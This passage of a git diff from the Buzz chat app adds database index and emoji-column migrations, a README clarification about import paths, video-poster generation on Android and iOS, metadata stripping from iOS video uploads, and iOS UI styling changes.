+boundary: one untrusted binary, two JSON operations, and a relay. The
+desktop's obligations end at a well-formed, fail-closed deploy payload; the
+provider's obligations are convergence and honesty about state; the agent's
+obligation is to honor its owner's lifetime choice — bounded by default,
+indefinite by declaration, and in either case final when told to stop.
+Everything else — status, control,
+memory — was already on the relay, which is why the design holds: the relay
+was the management plane all along, and the desktop was only ever one of
+its doors.
diff --git a/examples/meadow-core/README.md b/examples/meadow-core/README.md
index 416ea1510c..3eedd1391e 100644
--- a/examples/meadow-core/README.md
+++ b/examples/meadow-core/README.md
@@ -16,11 +16,15 @@ buzz pack validate ./examples/meadow-core
 
 # Inspect resolved config
 buzz pack inspect ./examples/meadow-core
-
-# Import into the desktop app
-# Use the "Install Pack" button and point to this directory
 ```
 
+The desktop app's Import button does not accept this pack directory or a zip of it — it imports
+agent/team *snapshots* (`.agent.json`/`.team.json`, exported from agents already running in the
+app), not persona-pack source. `buzz pack inspect` above shows the fully-resolved per-agent
+config; use it as reference to recreate these agents in the desktop app by hand. Direct
+persona-pack runtime integration is not currently implemented. See "Desktop App Import" in
+`crates/buzz-persona/PERSONA_PACK_SPEC.md` for the current import paths.
+
 ## Structure
 
 ```
diff --git a/migrations/0027_channels_id_lookup_index.sql b/migrations/0027_channels_id_lookup_index.sql
new file mode 100644
index 0000000000..eaf99dfca9
--- /dev/null
+++ b/migrations/0027_channels_id_lookup_index.sql
@@ -0,0 +1,58 @@
+-- ── Covering index for channel-id → community lookups ───────────────────────
+-- `channels` is keyed PRIMARY KEY (community_id, id), and every secondary index
+-- leads with community_id:
+--
+--   idx_channels_nip29_group        (community_id, nip29_group_id)
+--   idx_channels_dm_hash           (community_id, participant_hash)
+--   idx_channels_community_type    (community_id, channel_type)
+--   idx_channels_community_visibility (community_id, visibility)
+--   idx_channels_created_by        (community_id, created_by)
+--
+-- The tenant-independent lookups in buzz-db resolve a channel's owning
+-- community *without* a community_id predicate — that independence is the
+-- point (buzz-db/src/lib.rs: the read-seam projects a row's true label
+-- regardless of the fetch query's WHERE clause, which is what makes
+-- Inv_NonInterference non-vacuous):
+--
+--   Db::communities_of_channels  SELECT id, community_id FROM channels
+--                                WHERE id = ANY($1) AND deleted_at IS NULL
+--   Db::community_of_channel     SELECT community_id FROM channels
+--                                WHERE id = $1 AND deleted_at IS NULL
+--
+-- A composite btree is only usable when its leading column is constrained, so
+-- neither query can use the primary key and no other index leads with `id`.
+-- Both therefore sequentially scan `channels` on every call. Observed as the
+-- top "Load by waits (AAS)" on the staging writer (db.r8g.8xlarge, ~53% CPU).
+--
+-- INCLUDE (community_id): both queries select only (id, community_id), so the
+-- index is covering and the planner can serve them index-only, with no heap
+-- fetch for visible rows.
+--
+-- Partial on deleted_at IS NULL: matches both predicates exactly, keeps the
+-- index off soft-deleted history, and lets Postgres skip re-checking the
+-- predicate.
+--
+-- NOT UNIQUE, deliberately. `id` alone is not unique in this table —
+-- handlers/command_executor.rs documents that community_of_channel(channel_id)
+-- is ambiguous because the same channel id can appear under more than one
+-- community. A unique index would encode a false constraint and would fail to
+-- build on any database that already holds such a pair.
+--
+-- Lock note: built without CONCURRENTLY, matching migration 0004's precedent —
+-- sqlx runs each migration inside a transaction and CREATE INDEX CONCURRENTLY
+-- cannot run in one. This takes a SHARE lock on `channels` (blocking writes,
+-- not reads) for the duration of the build. `channels` is a small table
+-- relative to `events`, so this is expected to be brief, but on a large
+-- brownfield database an operator may prefer to pre-build it by hand:
+--
+--   CREATE INDEX CONCURRENTLY idx_channels_id_live
+--       ON channels (id) INCLUDE (community_id)
+--       WHERE deleted_at IS NULL;
+--
+-- IF NOT EXISTS then makes this migration a no-op on that database.
+--
+-- Additive migration: previously applied files must not change checksum.
+
+CREATE INDEX IF NOT EXISTS idx_channels_id_live
+    ON channels (id) INCLUDE (community_id)
+    WHERE deleted_at IS NULL;
diff --git a/migrations/0028_long_reaction_payloads.sql b/migrations/0028_long_reaction_payloads.sql
new file mode 100644
index 0000000000..7ad01e3507
--- /dev/null
+++ b/migrations/0028_long_reaction_payloads.sql
@@ -0,0 +1,3 @@
+-- A valid 64-character custom emoji shortcode is wrapped as `:shortcode:` in
+-- NIP-25 reaction content. Preserve the wrapper in the reaction projection.
+ALTER TABLE reactions ALTER COLUMN emoji TYPE VARCHAR(66);
diff --git a/mobile/android/app/src/main/kotlin/xyz/block/buzz/mobile/MainActivity.kt b/mobile/android/app/src/main/kotlin/xyz/block/buzz/mobile/MainActivity.kt
index 8718ffd8e2..d9b456b270 100644
--- a/mobile/android/app/src/main/kotlin/xyz/block/buzz/mobile/MainActivity.kt
+++ b/mobile/android/app/src/main/kotlin/xyz/block/buzz/mobile/MainActivity.kt
@@ -6,6 +6,7 @@ import android.graphics.Canvas
 import android.graphics.ColorSpace
 import android.graphics.ImageDecoder
 import android.media.MediaExtractor
+import android.media.MediaMetadataRetriever
 import android.media.MediaMuxer
 import android.os.Build
 import androidx.annotation.RequiresApi
@@ -97,6 +98,9 @@ class MainActivity : FlutterActivity() {
                     TRANSCODE_VIDEO_TO_MP4_METHOD -> {
                         handleTranscodeVideoToMp4(call.arguments, result)
                     }
+                    GENERATE_VIDEO_POSTER_METHOD -> {
+                        handleGenerateVideoPoster(call.arguments, result)
+                    }
                     REQUIRES_LEGACY_MEDIA_STORAGE_PERMISSION_METHOD -> {
                         result.success(Build.VERSION.SDK_INT <= Build.VERSION_CODES.P)
                     }
@@ -275,6 +279,55 @@ class MainActivity : FlutterActivity() {
         }.start()
     }
 
+    private fun handleGenerateVideoPoster(
+        arguments: Any?,
+        result: MethodChannel.Result,
+    ) {
+        val sourcePath = arguments as? String ?: run {
+            invalidArguments(result, "Expected source file path as String.")
+            return
+        }
+
+        Thread {
+            val retriever = MediaMetadataRetriever()
+            try {
+                retriever.setDataSource(sourcePath)
+                val source = retriever.getFrameAtTime(
+                    0,
+                    MediaMetadataRetriever.OPTION_CLOSEST_SYNC,
+                ) ?: retriever.getFrameAtTime(
+                    100_000,
+                    MediaMetadataRetriever.OPTION_CLOSEST_SYNC,
+                ) ?: throw IllegalArgumentException("Unable to decode a video frame.")
+                val scale = minOf(1f, 720f / maxOf(source.width, source.height))
+                val frame = if (scale < 1f) {
+                    Bitmap.createScaledBitmap(
+                        source,
+                        (source.width * scale).toInt(),
+                        (source.height * scale).toInt(),
+                        true,
+                    ).also { source.recycle() }
+                } else {
+                    source
+                }
+                val bytes = AndroidImageProcessor.encodeAndScrub(
+                    frame,
+                    Bitmap.CompressFormat.JPEG,
+                ) ?: throw IllegalArgumentException("Unable to encode a video preview.")
+                frame.recycle()
+                result.success(bytes)
+            } catch (e: Exception) {
+                result.error(
+                    "poster_failed",
+                    "Unable to create a video preview.",
+                    e.message,
+                )
+            } finally {
+                retriever.release()
+            }
+        }.start()
+    }
+
     private fun invalidArguments(
         result: MethodChannel.Result,
         message: String,
@@ -287,6 +340,7 @@ class MainActivity : FlutterActivity() {
         private const val SANITIZE_IMAGE_FOR_UPLOAD_METHOD = "sanitizeImageForUpload"
         private const val TRANSCODE_IMAGE_TO_JPEG_METHOD = "transcodeImageToJpeg"
         private const val TRANSCODE_VIDEO_TO_MP4_METHOD = "transcodeVideoToMp4"
+        private const val GENERATE_VIDEO_POSTER_METHOD = "generateVideoPoster"
         private const val REQUIRES_LEGACY_MEDIA_STORAGE_PERMISSION_METHOD =
             "requiresLegacyMediaStoragePermission"
     }
diff --git a/mobile/ios/Runner.xcodeproj/project.pbxproj b/mobile/ios/Runner.xcodeproj/project.pbxproj
index d965f44699..7ccf13bae4 100644
--- a/mobile/ios/Runner.xcodeproj/project.pbxproj
+++ b/mobile/ios/Runner.xcodeproj/project.pbxproj
@@ -13,6 +13,7 @@
 		4A71C0012F40100100A17E01 /* InlinePhotoPicker.swift in Sources */ = {isa = PBXBuildFile; fileRef = 4A71C0022F40100100A17E01 /* InlinePhotoPicker.swift */; };
 		4A71C0032F40200100A17E01 /* NativeAttachmentPopover.swift in Sources */ = {isa = PBXBuildFile; fileRef = 4A71C0042F40200100A17E01 /* NativeAttachmentPopover.swift */; };
 		4A71C0052F40300100A17E01 /* NativeAttachmentPopoverCoordinator.swift in Sources */ = {isa = PBXBuildFile; fileRef = 4A71C0062F40300100A17E01 /* NativeAttachmentPopoverCoordinator.swift */; };
+		4A71C0072F40400100A17E01 /* ConcentricSheetSurface.swift in Sources */ = {isa = PBXBuildFile; fileRef = 4A71C0082F40400100A17E01 /* ConcentricSheetSurface.swift */; };
 		331C809D294A63AB00263BE5 /* UIKitEncoded.png in Resources */ = {isa = PBXBuildFile; fileRef = 331C809C294A618700263BE5 /* UIKitEncoded.png */; };
 		331C809F294A63AB00263BE5 /* UIKitEncoded.jpg in Resources */ = {isa = PBXBuildFile; fileRef = 331C809E294A618700263BE5 /* UIKitEncoded.jpg */; };
 		33ADD70AB275E0EC81295559 /* Pods_Runner.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 8906419FB4E98B4B12B7A56F /* Pods_Runner.framework */; };
@@ -57,6 +58,7 @@
 		4A71C0022F40100100A17E01 /* InlinePhotoPicker.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = InlinePhotoPicker.swift; sourceTree = "<group>"; };
 		4A71C0042F40200100A17E01 /* NativeAttachmentPopover.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = NativeAttachmentPopover.swift; sourceTree = "<group>"; };
 		4A71C0062F40300100A17E01 /* NativeAttachmentPopoverCoordinator.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = NativeAttachmentPopoverCoordinator.swift; sourceTree = "<group>"; };
+		4A71C0082F40400100A17E01 /* ConcentricSheetSurface.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ConcentricSheetSurface.swift; sourceTree = "<group>"; };
 		331C809C294A618700263BE5 /* UIKitEncoded.png */ = {isa = PBXFileReference; lastKnownFileType = image.png; path = UIKitEncoded.png; sourceTree = "<group>"; };
 		331C809E294A618700263BE5 /* UIKitEncoded.jpg */ = {isa = PBXFileReference; lastKnownFileType = image.jpeg; path = UIKitEncoded.jpg; sourceTree = "<group>"; };
 		331C8081294A63A400263BE5 /* RunnerTests.xctest */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = RunnerTests.xctest; sourceTree = BUILT_PRODUCTS_DIR; };
@@ -179,6 +181,7 @@
 				4A71C0022F40100100A17E01 /* InlinePhotoPicker.swift */,
 				4A71C0042F40200100A17E01 /* NativeAttachmentPopover.swift */,
 				4A71C0062F40300100A17E01 /* NativeAttachmentPopoverCoordinator.swift */,
+				4A71C0082F40400100A17E01 /* ConcentricSheetSurface.swift */,
 				7884E8672EC3CC0400C636F2 /* SceneDelegate.swift */,
 				74858FAD1ED2DC5600515810 /* Runner-Bridging-Header.h */,
 			);
@@ -413,6 +416,7 @@
 				4A71C0012F40100100A17E01 /* InlinePhotoPicker.swift in Sources */,
 				4A71C0032F40200100A17E01 /* NativeAttachmentPopover.swift in Sources */,
 				4A71C0052F40300100A17E01 /* NativeAttachmentPopoverCoordinator.swift in Sources */,
+				4A71C0072F40400100A17E01 /* ConcentricSheetSurface.swift in Sources */,
 				1498D2341E8E89220040F4C2 /* GeneratedPluginRegistrant.m in Sources */,
 				7884E8682EC3CC0700C636F2 /* SceneDelegate.swift in Sources */,
 			);
diff --git a/mobile/ios/Runner.xcodeproj/xcshareddata/xcschemes/Runner.xcscheme b/mobile/ios/Runner.xcodeproj/xcshareddata/xcschemes/Runner.xcscheme
index e3773d42e2..66f171ad2e 100644
--- a/mobile/ios/Runner.xcodeproj/xcshareddata/xcschemes/Runner.xcscheme
+++ b/mobile/ios/Runner.xcodeproj/xcshareddata/xcschemes/Runner.xcscheme
@@ -15,7 +15,7 @@
             <BuildableReference
                BuildableIdentifier = "primary"
                BlueprintIdentifier = "97C146ED1CF9000F007C117D"
-               BuildableName = "Runner.app"
+               BuildableName = "Buzz.app"
                BlueprintName = "Runner"
                ReferencedContainer = "container:Runner.xcodeproj">
             </BuildableReference>
@@ -32,7 +32,7 @@
          <BuildableReference
             BuildableIdentifier = "primary"
             BlueprintIdentifier = "97C146ED1CF9000F007C117D"
-            BuildableName = "Runner.app"
+            BuildableName = "Buzz.app"
             BlueprintName = "Runner"
             ReferencedContainer = "container:Runner.xcodeproj">
          </BuildableReference>
@@ -68,7 +68,7 @@
          <BuildableReference
             BuildableIdentifier = "primary"
             BlueprintIdentifier = "97C146ED1CF9000F007C117D"
-            BuildableName = "Runner.app"
+            BuildableName = "Buzz.app"
             BlueprintName = "Runner"
             ReferencedContainer = "container:Runner.xcodeproj">
          </BuildableReference>
@@ -85,7 +85,7 @@
          <BuildableReference
             BuildableIdentifier = "primary"
             BlueprintIdentifier = "97C146ED1CF9000F007C117D"
-            BuildableName = "Runner.app"
+            BuildableName = "Buzz.app"
             BlueprintName = "Runner"
             ReferencedContainer = "container:Runner.xcodeproj">
          </BuildableReference>
diff --git a/mobile/ios/Runner/AppDelegate.swift b/mobile/ios/Runner/AppDelegate.swift
index f6fe3aaf48..6ab55c359c 100644
--- a/mobile/ios/Runner/AppDelegate.swift
+++ b/mobile/ios/Runner/AppDelegate.swift
@@ -8,6 +8,7 @@ import UserNotifications
   private var mediaUploadChannel: FlutterMethodChannel?
   private var qrScannerChannel: FlutterMethodChannel?
   private var inlinePhotoPickerSupportChannel: FlutterMethodChannel?
+  private var concentricSheetSurfaceChannel: FlutterMethodChannel?
   private var nativeAttachmentPopoverCoordinator: NativeAttachmentPopoverCoordinator?
 
   override func application(
@@ -63,6 +64,30 @@ import UserNotifications
       )
     }
 
+    if let concentricSheetRegistrar = engineBridge.pluginRegistry.registrar(
+      forPlugin: "BuzzConcentricSheetSurface"
+    ) {
+      concentricSheetRegistrar.register(
+        ConcentricSheetSurfaceFactory(),
+        withId: "buzz/concentric_sheet_surface"
+      )
+      concentricSheetSurfaceChannel = FlutterMethodChannel(
+        name: "buzz/concentric_sheet_surface",
+        binaryMessenger: messenger
+      )
+      concentricSheetSurfaceChannel?.setMethodCallHandler { call, result in
+        guard call.method == "isSupported" else {
+          result(FlutterMethodNotImplemented)
+          return
+        }
+        if #available(iOS 26.0, *) {
+          result(true)
+        } else {
+          result(false)
+        }
+      }
+    }
+
     let nativeAttachmentRegistrar = engineBridge.pluginRegistry.registrar(
       forPlugin: "BuzzNativeAttachmentPopover"
     )
@@ -231,6 +256,18 @@ import UserNotifications
         return
       }
       transcodeVideoToMp4(sourcePath: sourcePath, result: result)
+    case "generateVideoPoster":
+      guard let sourcePath = call.arguments as? String else {
+        result(
+          FlutterError(
+            code: "invalid_arguments",
+            message: "Expected source file path as String.",
+            details: nil
+          )
+        )
+        return
+      }
+      generateVideoPoster(sourcePath: sourcePath, result: result)
     case "clipboardHasImage":
       result(UIPasteboard.general.hasImages)
     case "readClipboardImage":
@@ -269,10 +306,72 @@ import UserNotifications
     let sourceURL = URL(fileURLWithPath: sourcePath)
     let asset = AVURLAsset(url: sourceURL)
 
+    // Do not export the source asset directly. An iPhone video can carry GPS,
+    // spatial-video, and other data tracks even when its user-visible metadata
+    // is cleared. A fresh composition copies only one video and one audio
+    // track, so those private channels cannot reach the relay.
+    let composition = AVMutableComposition()
+    guard
+      let sourceVideo = asset.tracks(withMediaType: .video).first,
+      let destinationVideo = composition.addMutableTrack(
+        withMediaType: .video,
+        preferredTrackID: kCMPersistentTrackID_Invalid
+      )
+    else {
+      result(
+        FlutterError(
+          code: "transcode_failed",
+          message: "The selected file does not contain a video track.",
+          details: nil
+        )
+      )
+      return
+    }
+
+    do {
+      let sourceAudio = asset.tracks(withMediaType: .audio).first
+      let insertionTimes = Self.relativeTrackInsertionTimes(
+        videoStart: sourceVideo.timeRange.start,
+        audioStart: sourceAudio?.timeRange.start
+      )
+      try destinationVideo.insertTimeRange(
+        sourceVideo.timeRange,
+        of: sourceVideo,
+        at: insertionTimes.video
+      )
+      destinationVideo.preferredTransform = sourceVideo.preferredTransform
+
+      if
+        let sourceAudio,
+        let destinationAudio = composition.addMutableTrack(
+          withMediaType: .audio,
+          preferredTrackID: kCMPersistentTrackID_Invalid
+        )
+      {
+        try destinationAudio.insertTimeRange(
+          sourceAudio.timeRange,
+          of: sourceAudio,
+          at: insertionTimes.audio ?? .zero
+        )
+      }
+    } catch {
+      result(
+        FlutterError(
+          code: "transcode_failed",
+          message: error.localizedDescription,
+          details: nil
+        )
+      )
+      return
+    }
+
     guard
       let exportSession = AVAssetExportSession(
-        asset: asset,
-        presetName: AVAssetExportPresetPassthrough
+        asset: composition,
+        // Passthrough preserves the source's HEVC codec and container
+        // metadata. Buzz accepts only canonical H.264/AAC MP4s with no
+        // metadata channels, so re-encode instead of copying the movie.
+        presetName: AVAssetExportPresetMediumQuality
       )
     else {
       result(
@@ -292,12 +391,32 @@ import UserNotifications
     exportSession.outputURL = outputURL
     exportSession.outputFileType = .mp4
     exportSession.shouldOptimizeForNetworkUse = true
-    exportSession.metadataItemFilter = AVMetadataItemFilter.forSharing()
+    // `forSharing()` intentionally retains playback metadata. The relay
+    // rejects every descriptive metadata channel to avoid leaking location or
+    // other private information, so write no source metadata at all.
+    exportSession.metadata = []
+    exportSession.metadataItemFilter = nil
 
     exportSession.exportAsynchronously {
       switch exportSession.status {
       case .completed:
-        result(outputURL.path)
+        do {
+          // AVFoundation writes a standard sample-dependency table (`sdtp`).
+          // Older Buzz relays mistook that playback-only box for metadata. Keep
+          // its size and payload in a `free` box so chunk offsets stay valid and
+          // uploads work before those relays receive the validator fix.
+          try Self.neutralizeSampleDependencyBoxes(at: outputURL)
+          result(outputURL.path)
+        } catch {
+          try? FileManager.default.removeItem(at: outputURL)
+          result(
+            FlutterError(
+              code: "transcode_failed",
+              message: "Unable to canonicalize transcoded video.",
+              details: error.localizedDescription
+            )
+          )
+        }
       default:
         let errorMessage =
           exportSession.error?.localizedDescription
@@ -314,4 +433,154 @@ import UserNotifications
       }
     }
   }
+
+  static func relativeTrackInsertionTimes(
+    videoStart: CMTime,
+    audioStart: CMTime?
+  ) -> (video: CMTime, audio: CMTime?) {
+    guard let audioStart else {
+      return (video: .zero, audio: nil)
+    }
+
+    let timelineStart =
+      CMTimeCompare(audioStart, videoStart) < 0 ? audioStart : videoStart
+    return (
+      video: CMTimeSubtract(videoStart, timelineStart),
+      audio: CMTimeSubtract(audioStart, timelineStart)
+    )
+  }
+
+  private func generateVideoPoster(
+    sourcePath: String,
+    result: @escaping FlutterResult
+  ) {
+    DispatchQueue.global(qos: .userInitiated).async {
+      let asset = AVURLAsset(url: URL(fileURLWithPath: sourcePath))
+      let generator = AVAssetImageGenerator(asset: asset)
+      generator.appliesPreferredTrackTransform = true
+      generator.maximumSize = CGSize(width: 720, height: 720)
+      generator.requestedTimeToleranceBefore = .positiveInfinity
+      generator.requestedTimeToleranceAfter = .positiveInfinity
+
+      do {
+        let durationSeconds = CMTimeGetSeconds(asset.duration)
+        let middleTime = durationSeconds.isFinite && durationSeconds > 0
+          ? min(durationSeconds / 2, 1)
+          : 0
+        let candidateTimes = [0, 0.1, middleTime]
+        var posterImage: CGImage?
+        var lastError: Error?
+
+        for seconds in candidateTimes {
+          do {
+            posterImage = try generator.copyCGImage(
+              at: CMTime(seconds: seconds, preferredTimescale: 600),
+              actualTime: nil
+            )
+            if posterImage != nil { break }
+          } catch {
+            lastError = error
+          }
+        }
+
+        guard let posterImage else {
+          throw lastError ?? NSError(
+            domain: "BuzzVideoPoster",
+            code: 1,
+            userInfo: [NSLocalizedDescriptionKey: "Unable to decode a video frame."]
+          )
+        }
+        guard let jpegData = try MediaSanitizer.encodeJpeg(UIImage(cgImage: posterImage)) else {
+          throw NSError(
+            domain: "BuzzVideoPoster",
+            code: 2,
+            userInfo: [NSLocalizedDescriptionKey: "Unable to encode video poster."]
+          )
+        }
+        DispatchQueue.main.async {
+          result(FlutterStandardTypedData(bytes: jpegData))
+        }
+      } catch {
+        DispatchQueue.main.async {
+          result(
+            FlutterError(
+              code: "poster_failed",
+              message: "Unable to create a video preview.",
+              details: error.localizedDescription
+            )
+          )
+        }
+      }
+    }
+  }
+
+  private static func neutralizeSampleDependencyBoxes(at url: URL) throws {
+    var data = try Data(contentsOf: url)
+    try neutralizeSampleDependencyBoxes(in: &data, start: 0, end: data.count)
+    try data.write(to: url, options: .atomic)
+  }
+
+  private static func neutralizeSampleDependencyBoxes(
+    in data: inout Data,
+    start: Int,
+    end: Int
+  ) throws {
+    let containers: Set<[UInt8]> = [
+      Array("moov".utf8), Array("trak".utf8), Array("mdia".utf8),
+      Array("minf".utf8), Array("stbl".utf8), Array("edts".utf8),
+      Array("dinf".utf8), Array("sinf".utf8), Array("schi".utf8),
+    ]
+    let sampleDependencyType = Array("sdtp".utf8)
+    let freeType = Array("free".utf8)
+    var offset = start
+
+    while offset < end {
+      guard end - offset >= 8 else { throw invalidMp4BoxError() }
+      let compactSize = Int(readBigEndianUInt32(data, at: offset))
+      var headerSize = 8
+      let boxSize: Int
+      if compactSize == 1 {
+        guard end - offset >= 16 else { throw invalidMp4BoxError() }
+        let extendedSize = readBigEndianUInt64(data, at: offset + 8)
+        guard extendedSize <= UInt64(Int.max) else { throw invalidMp4BoxError() }
+        boxSize = Int(extendedSize)
+        headerSize = 16
+      } else if compactSize == 0 {
+        boxSize = end - offset
+      } else {
+        boxSize = compactSize
+      }
+
+      guard boxSize >= headerSize, offset + boxSize <= end else {
+        throw invalidMp4BoxError()
+      }
+      let type = Array(data[(offset + 4)..<(offset + 8)])
+      if type == sampleDependencyType {
+        data.replaceSubrange((offset + 4)..<(offset + 8), with: freeType)
+      } else if containers.contains(type) {
+        try neutralizeSampleDependencyBoxes(
+          in: &data,
+          start: offset + headerSize,
+          end: offset + boxSize
+        )
+      }
+      offset += boxSize
+    }
+  }
+
+  private static func readBigEndianUInt32(_ data: Data, at offset: Int) -> UInt32 {
+    data[offset..<(offset + 4)].reduce(0) { ($0 << 8) | UInt32($1) }
+  }
+
+  private static func readBigEndianUInt64(_ data: Data, at offset: Int) -> UInt64 {
+    data[offset..<(offset + 8)].reduce(0) { ($0 << 8) | UInt64($1) }
+  }
+
+  private static func invalidMp4BoxError() -> NSError {
+    NSError(
+      domain: "BuzzVideoTranscode",
+      code: 1,
+      userInfo: [NSLocalizedDescriptionKey: "Invalid MP4 box structure."]
+    )
+  }
 }
diff --git a/mobile/ios/Runner/ConcentricSheetSurface.swift b/mobile/ios/Runner/ConcentricSheetSurface.swift
new file mode 100644
index 0000000000..d4d481d098
--- /dev/null
+++ b/mobile/ios/Runner/ConcentricSheetSurface.swift
@@ -0,0 +1,54 @@
+import Flutter
+import UIKit
+
+final class ConcentricSheetSurfaceFactory: NSObject, FlutterPlatformViewFactory {
+  func createArgsCodec() -> FlutterMessageCodec & NSObjectProtocol {
+    FlutterStandardMessageCodec.sharedInstance()
+  }
+
+  func create(
+    withFrame frame: CGRect,
+    viewIdentifier viewId: Int64,
+    arguments args: Any?
+  ) -> FlutterPlatformView {
+    ConcentricSheetSurfacePlatformView(frame: frame, arguments: args)
+  }
+}
+
+final class ConcentricSheetSurfacePlatformView: NSObject, FlutterPlatformView {
+  private let surfaceView: UIView
+
+  init(frame: CGRect, arguments args: Any?) {
+    let arguments = args as? [String: Any]
+    let colorValue = (arguments?["color"] as? NSNumber)?.uint32Value ?? 0xFFFFFFFF
+    let minimumRadius = (arguments?["minimumRadius"] as? NSNumber)?.doubleValue ?? 24
+
+    surfaceView = UIView(frame: frame)
+    surfaceView.isOpaque = true
+    surfaceView.backgroundColor = Self.color(from: colorValue)
+    surfaceView.clipsToBounds = true
+    surfaceView.layer.cornerCurve = .continuous
+
+    if #available(iOS 26.0, *) {
+      surfaceView.cornerConfiguration = .uniformCorners(
+        radius: .containerConcentric(minimum: minimumRadius)
+      )
+    } else {
+      surfaceView.layer.cornerRadius = minimumRadius
+    }
+
+    super.init()
+  }
+
+  func view() -> UIView {
+    surfaceView
+  }
+
+  private static func color(from value: UInt32) -> UIColor {
+    let alpha = CGFloat((value >> 24) & 0xFF) / 255
+    let red = CGFloat((value >> 16) & 0xFF) / 255
+    let green = CGFloat((value >> 8) & 0xFF) / 255
+    let blue = CGFloat(value & 0xFF) / 255
+    return UIColor(red: red, green: green, blue: blue, alpha: alpha)
+  }
+}
diff --git a/mobile/ios/Runner/InlinePhotoPicker.swift b/mobile/ios/Runner/InlinePhotoPicker.swift
index 05a576323f..4126734779 100644
--- a/mobile/ios/Runner/InlinePhotoPicker.swift
+++ b/mobile/ios/Runner/InlinePhotoPicker.swift
@@ -3,14 +3,6 @@ import PhotosUI
 import UIKit
 import UniformTypeIdentifiers
 
-enum EmbeddedPhotoPickerLayout {
-  static func applyPreferredScale(_ zoomIn: () -> Void) {
-    UIView.performWithoutAnimation {
-      zoomIn()
-    }
-  }
-}
-
 final class InlinePhotoPickerFactory: NSObject, FlutterPlatformViewFactory {
   private let messenger: FlutterBinaryMessenger
   private weak var parentViewController: UIViewController?
@@ -130,9 +122,6 @@ final class InlinePhotoPickerPlatformView: NSObject, FlutterPlatformView {
     }
     pickerViewController = picker
     containerView.layoutIfNeeded()
-    EmbeddedPhotoPickerLayout.applyPreferredScale {
-      picker.zoomIn()
-    }
   }
 
   private func exportPickerResult(_ result: PHPickerResult) async throws -> String {
diff --git a/mobile/ios/Runner/NativeAttachmentPopover.swift b/mobile/ios/Runner/NativeAttachmentPopover.swift
index f2f6c01df8..cc29de9cb3 100644
--- a/mobile/ios/Runner/NativeAttachmentPopover.swift
+++ b/mobile/ios/Runner/NativeAttachmentPopover.swift
@@ -17,8 +17,6 @@ final class NativeAttachmentPopoverViewController:
     case camera
   }
 
-  private typealias ContentPreparation = (@escaping () -> Void) -> Void
-
   private let channel: FlutterMethodChannel
   private let expandedWidth: CGFloat
   private let maximumMenuHeight: CGFloat
@@ -85,17 +83,29 @@ final class NativeAttachmentPopoverViewController:
   override func viewDidLoad() {
     super.viewDidLoad()
     view.backgroundColor = .clear
-    view.layer.cornerRadius = 22
+    view.layer.cornerRadius = NativeAttachmentPopoverStyle.cornerRadius
     view.layer.cornerCurve = .continuous
-    view.clipsToBounds = true
+    view.layer.borderColor = UIColor.black.withAlphaComponent(0.04).cgColor
+    view.layer.borderWidth = NativeAttachmentPopoverStyle.borderWidth
+    view.layer.shadowColor = UIColor.black.cgColor
+    view.layer.shadowOpacity = NativeAttachmentPopoverStyle.shadowOpacity
+    view.layer.shadowRadius = NativeAttachmentPopoverStyle.shadowRadius
+    view.layer.shadowOffset = NativeAttachmentPopoverStyle.shadowOffset
+    view.clipsToBounds = false
 
     let glassEffect = UIGlassEffect(style: .regular)
     glassEffect.isInteractive = true
     let glassView = UIVisualEffectView(effect: glassEffect)
     glassView.translatesAutoresizingMaskIntoConstraints = false
+    glassView.layer.cornerRadius = NativeAttachmentPopoverStyle.cornerRadius
+    glassView.layer.cornerCurve = .continuous
+    glassView.clipsToBounds = true
     view.addSubview(glassView)
 
     contentHost.translatesAutoresizingMaskIntoConstraints = false
+    contentHost.layer.cornerRadius = NativeAttachmentPopoverStyle.cornerRadius
+    contentHost.layer.cornerCurve = .continuous
+    contentHost.clipsToBounds = true
     view.addSubview(contentHost)
     NSLayoutConstraint.activate([
       glassView.leadingAnchor.constraint(equalTo: view.leadingAnchor),
@@ -114,6 +124,11 @@ final class NativeAttachmentPopoverViewController:
 
   override func viewDidLayoutSubviews() {
     super.viewDidLayoutSubviews()
+    view.layer.shadowPath =
+      UIBezierPath(
+        roundedRect: view.bounds,
+        cornerRadius: NativeAttachmentPopoverStyle.cornerRadius
+      ).cgPath
     cameraPreviewLayer?.frame = cameraPreviewView?.bounds ?? .zero
   }
 
@@ -198,21 +213,21 @@ final class NativeAttachmentPopoverViewController:
       makeNativeAttachmentMenuButton(
         title: "Camera",
         symbol: "camera",
-        action: UIAction { [weak self] _ in self?.showCamera() }
+        action: { [weak self] in self?.showCamera() }
       )
     )
     stack.addArrangedSubview(
       makeNativeAttachmentMenuButton(
         title: "Photos",
         symbol: "photo.on.rectangle.angled",
-        action: UIAction { [weak self] _ in self?.showPhotos() }
+        action: { [weak self] in self?.showPhotos() }
       )
     )
     stack.addArrangedSubview(
       makeNativeAttachmentMenuButton(
         title: "Video",
         symbol: "video",
-        action: UIAction { [weak self] _ in
+        action: { [weak self] in
           self?.finish(method: "pickVideo")
         }
       )
@@ -221,7 +236,7 @@ final class NativeAttachmentPopoverViewController:
       makeNativeAttachmentMenuButton(
         title: "Files",
         symbol: "doc",
-        action: UIAction { [weak self] _ in
+        action: { [weak self] in
           self?.finish(method: "pickFiles")
         }
       )
@@ -280,14 +295,14 @@ final class NativeAttachmentPopoverViewController:
       title: nil,
       symbol: "chevron.left",
       accessibilityLabel: "Back to attachment options",
-      action: UIAction { [weak self] _ in self?.showMenu() }
+      action: { [weak self] in self?.showMenu() }
     )
     let actionButton = makeGlassControl(
       title: "All Photos",
       symbol: nil,
       accessibilityLabel: "All Photos",
       prominent: true,
-      action: UIAction { [weak self] _ in self?.performPhotoAction() }
+      action: { [weak self] in self?.performPhotoAction() }
     )
     photoActionButton = actionButton
     addBottomControls(
@@ -296,27 +311,7 @@ final class NativeAttachmentPopoverViewController:
       trailing: actionButton
     )
 
-    transition(
-      to: .photos,
-      content: container,
-      preparation: { [weak picker] reveal in
-        guard let picker else {
-          reveal()
-          return
-        }
-        // PHPicker ignores scale changes while its remote grid is still
-        // adapting to the compact menu bounds. Give it one main-loop turn at
-        // the final popover size, apply the scale offscreen, then reveal it.
-        DispatchQueue.main.async {
-          picker.view.layoutIfNeeded()
-          EmbeddedPhotoPickerLayout.applyPreferredScale {
-            picker.zoomIn()
-            picker.view.layoutIfNeeded()
